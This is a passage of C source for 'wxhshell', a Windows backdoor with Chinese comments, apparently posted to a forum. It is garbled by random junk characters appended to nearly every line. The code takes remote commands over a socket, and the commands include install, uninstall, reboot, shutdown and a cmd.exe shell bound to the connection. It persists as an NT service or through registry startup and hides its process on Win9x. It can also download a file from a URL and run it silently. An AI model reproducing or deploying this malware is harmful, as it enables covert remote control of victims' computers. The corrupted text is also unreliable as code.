  } #&^ZQs<  
  else { u<l# xud  
v87$NQvwQ  
    switch(cmd[0]) { Qq'i*Mh  
  Lnh':7FQJx  
  // 帮助 n0rerI[R  
  case '?': { ; g Z%U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fKL'/?LD]  
    break; OW+e_im}  
  } v}7@CP]nV  
  // 安装 P]pmt1a  
  case 'i': { x @1px&^  
    if(Install()) tWpl`HH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KI E k/]<H  
    else gCv"9j<j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? .c?Pu  
    break; 8ivRp<9  
    } :D"@6PC]  
  // 卸载 ;Y Dv.I  
  case 'r': { Ms.PO{wb  
    if(Uninstall()) lZ}izl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -M"IVyy@  
    else a`7%A H)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OOCQsoN  
    break; E^b pckP  
    } Dz[566UD  
  // 显示 wxhshell 所在路径 yB-.sGu  
  case 'p': { d32@M~vD  
    char svExeFile[MAX_PATH]; >$2E1HW.  
    strcpy(svExeFile,"\n\r"); |'ZN!2u  
      strcat(svExeFile,ExeFile); X3P&"}a  
        send(wsh,svExeFile,strlen(svExeFile),0); IYuyj(/!  
    break; &g*klt'B  
    } j.k@6[ R>?  
  // 重启 98BYtxa  
  case 'b': { V3## B}2[Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FQ+8J7  
    if(Boot(REBOOT)) E;9Z\?P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8ou e-:/a  
    else { t Y{; U#9  
    closesocket(wsh); riID,aut  
    ExitThread(0); hZ!oRWIU%G  
    } e&d3SQ%  
    break; y&7YJx  
    } .j:i&j(  
  // 关机 joe9.{  
  case 'd': { 2*+ 3Rr J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LFCTr/,  
    if(Boot(SHUTDOWN)) 2bWUa~%B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -r!42`S  
    else { 7nm}fT z7  
    closesocket(wsh); ]x1p!TSU  
    ExitThread(0); ^rL ,&rk  
    } v#zPH5xo  
    break; !]yQ1@)*'  
    } rqF"QU=l  
  // 获取shell  G]b8]3^  
  case 's': { mj)PLZ]  
    CmdShell(wsh); i#k-)N _$  
    closesocket(wsh); H\ 3M  
    ExitThread(0); _HwpPRVP/  
    break; *%3oyWwCd  
  } ,NDh@VYe  
  // 退出 :#WEx_]  
  case 'x': { 5!~!j "q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S0F@#mSQ?  
    CloseIt(wsh); fVYiwE=F  
    break; +Z ><  
    } Gi*<~`Gr  
  // 离开 P2On k l  
  case 'q': { kg:l:C)Tq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s,w YlVYf!  
    closesocket(wsh); 9GThyY  
    WSACleanup(); 0Su_#".-*  
    exit(1); N3Z iGD  
    break; [6_"^jgH  
        } ( ]OFS;%  
  } f7Zf}1|  
  } "MTWjW*6  
Lj iI+NJ  
  // 提示信息 .?f:Nb.O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ee8--  
} JPLI @zX^  
  } 7ZQ'h3K  
c -w0  
  return; `0?^[;[u[  
} 9<v}LeX  
sW?B7o?  
// shell模块句柄 3EmcYC  
int CmdShell(SOCKET sock) or7pJy%4"  
{ va^0JfQ  
STARTUPINFO si; A';n6ne%i  
ZeroMemory(&si,sizeof(si)); ' X}7]y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pw= 3PvkL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i *B:El1  
PROCESS_INFORMATION ProcessInfo; WKxm9y V  
char cmdline[]="cmd"; ` VwN!B:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q@%h^9.  
  return 0; QhCY}Q?X  
} _-/x;C  
M\ dO({o  
// 自身启动模式 Q&gPa]z]}  
int StartFromService(void) @HvScg*Y  
{ d5:tSO  
typedef struct dhW<p 5  
{ !_dR'  
  DWORD ExitStatus;  \dTQQ  
  DWORD PebBaseAddress; Ra0=q4vdk  
  DWORD AffinityMask; @89I#t6A.  
  DWORD BasePriority; QF.3c6O@  
  ULONG UniqueProcessId; _W|R;Cz]  
  ULONG InheritedFromUniqueProcessId; 9^!wUwB  
}   PROCESS_BASIC_INFORMATION; *0~M  
n$YE !D'  
PROCNTQSIP NtQueryInformationProcess; HUkerV  
-E]Sk&4Gj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lBmm(<~Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U. (Tl>K|0  
$3 4j6;oN  
  HANDLE             hProcess; UWw}!1  
  PROCESS_BASIC_INFORMATION pbi; HlPG3LD!  
>t0%?wj)Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @zrNN>  
  if(NULL == hInst ) return 0; GmbIFOT~  
a.DX%C /5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [sj VRW-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G'9{a'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JOHR mfqR  
(]XbPW  
  if (!NtQueryInformationProcess) return 0; `L\)ahM  
74_xR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GRIa8>  
  if(!hProcess) return 0; uY;R8CiD  
Fu%X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  ,1 P[  
5B{k\H;  
  CloseHandle(hProcess); l4 "\) ];  
Y208b?=9w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jTfi@5aPY  
if(hProcess==NULL) return 0; o%`npi1y  
ik5|,#}m&  
HMODULE hMod; LwOJ |jA(,  
char procName[255]; %`+'v_iu  
unsigned long cbNeeded; ej52AK7  
jo_ sAb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E:w:4[neh  
Qn.[{rw  
  CloseHandle(hProcess); P"F{=\V1`<  
jV^C19  
if(strstr(procName,"services")) return 1; // 以服务启动 {6O0.}q]&  
,H39V+Y*  
  return 0; // 注册表启动 [(|v`qMv/g  
}  rN"Xz  
}lP5 GT2  
// 主模块 /C$ xH@bb  
int StartWxhshell(LPSTR lpCmdLine) ` ?9T~,  
{ 8QF2^*RZ7z  
  SOCKET wsl; *QH[,F`I  
BOOL val=TRUE; 8bOT*^b$H  
  int port=0; T4r5s  
  struct sockaddr_in door; NR4Jn?l{  
~+HoSXu@E  
  if(wscfg.ws_autoins) Install(); #)] c0]p  
w<t,j~ Pr#  
port=atoi(lpCmdLine); qVBL>9O*.  
*Hs*,}MS  
if(port<=0) port=wscfg.ws_port; %8w9E=  
3wC R|ab}  
  WSADATA data; M&y5AB0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w!`Umll2  
iYKU[UP?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `*yAiv>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .X'< D*  
  door.sin_family = AF_INET; }fA;7GW+9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?z=\Ye5x  
  door.sin_port = htons(port); 3taa^e.  
3SNL5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a2yE:16o6  
closesocket(wsl); eN/G i<  
return 1; iF9_b  
} 1h=D4yN  
z(H?VfJo  
  if(listen(wsl,2) == INVALID_SOCKET) { hCC}d0gf`n  
closesocket(wsl); =yqHC<8:  
return 1; ;S JF%@x  
} vT7g<  
  Wxhshell(wsl); _]|Qec)  
  WSACleanup(); &U"X $aFc  
Np2ci~"<.  
return 0; )X5(#E  
EGS%C%>l/o  
} XP?*=Z]  
</s,pe79B  
// 以NT服务方式启动 v <Hb-~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z[9UQU~x?  
{ w`gyE 6A  
DWORD   status = 0; r,xmEj0E  
  DWORD   specificError = 0xfffffff; E>pVn2|  
Mw^ *yW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M35Ax],:^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bo r7]#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6)[< )?A.[  
  serviceStatus.dwWin32ExitCode     = 0; s[AA7>]3  
  serviceStatus.dwServiceSpecificExitCode = 0; 1R*=.i%W  
  serviceStatus.dwCheckPoint       = 0; 6D/'`  
  serviceStatus.dwWaitHint       = 0; Hk;-5A|9  
zn)yFnB!TH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `;F2n2@  
  if (hServiceStatusHandle==0) return; \VN=Ef\E  
7=k^M, a  
status = GetLastError(); 2z\;Q8g){r  
  if (status!=NO_ERROR) p=gX !4,9<  
{ S " pI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kuKa8c  
    serviceStatus.dwCheckPoint       = 0; -BhTkoN)  
    serviceStatus.dwWaitHint       = 0; s@!$='|  
    serviceStatus.dwWin32ExitCode     = status; : ejJV 6.  
    serviceStatus.dwServiceSpecificExitCode = specificError; !>g:Si"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,X/-  
    return; ?CY1]d  
  } x(~<tX~  
IR$ (_9z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NL!9U,h5|  
  serviceStatus.dwCheckPoint       = 0; NK/4OAt%  
  serviceStatus.dwWaitHint       = 0; wss?|XCI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SUE ~rb  
} Q_O*oT(0  
fKkjn4&W  
// 处理NT服务事件,比如:启动、停止 9lspo~M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ty+I8e]{  
{ )`?%]D  
switch(fdwControl) *H2]H @QHN  
{ '*!L!VJ  
case SERVICE_CONTROL_STOP: IOEM[zhb$  
  serviceStatus.dwWin32ExitCode = 0; %Kto.Xq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `fS^ j-_M  
  serviceStatus.dwCheckPoint   = 0; n&!+wcJ;Yt  
  serviceStatus.dwWaitHint     = 0; A';QuWdT  
  { {p/YCch,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]vo_gKZ  
  } Gr)-5qh  
  return; $sgH'/>  
case SERVICE_CONTROL_PAUSE: T+CajSV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g7V_ [R(6  
  break; <B[G |FY,  
case SERVICE_CONTROL_CONTINUE: m ,tXE%l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7NF/]y4w  
  break; J?Iq9f  
case SERVICE_CONTROL_INTERROGATE: L`3n2DEBf  
  break; `&*bM0(J  
}; wk[ wNIu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VKrShI  
} -[]';f4]M  
N"c(e6  
// 标准应用程序主函数 qnIew?-*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w~+aW(2  
{ i_l+:/+G+  
M{KW@7j  
// 获取操作系统版本 flnVYQe  
OsIsNt=GetOsVer(); 8MF2K6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8cdsToF(e.  
(:sZ b?*  
  // 从命令行安装 U Cb02h  
  if(strpbrk(lpCmdLine,"iI")) Install(); m#H_*L0  
T V:<TR  
  // 下载执行文件 O@&+} D>  
if(wscfg.ws_downexe) { tZ8e`r*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lLiQ;@  
  WinExec(wscfg.ws_filenam,SW_HIDE); wE Qi0!  
} '`l K'5;  
&jf7k <^  
if(!OsIsNt) { )=_ycf^MC  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y &f\VNlT  
HideProc(); #`ejU&!6  
StartWxhshell(lpCmdLine); :zp`6l  
} "H+,E_&(  
else ijW 7c+yd  
  if(StartFromService()) _\zQ"y|G  
  // 以服务方式启动 PT_KXk  
  StartServiceCtrlDispatcher(DispatchTable); ZGz|m0b (  
else h;M3yTM-  
  // 普通方式启动 oU+F3b}5p  
  StartWxhshell(lpCmdLine); eegx'VSX4  
OO-k|\{ |  
return 0; GozPvR^/  
}
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只看该作者 1 发表于: 2006-10-10
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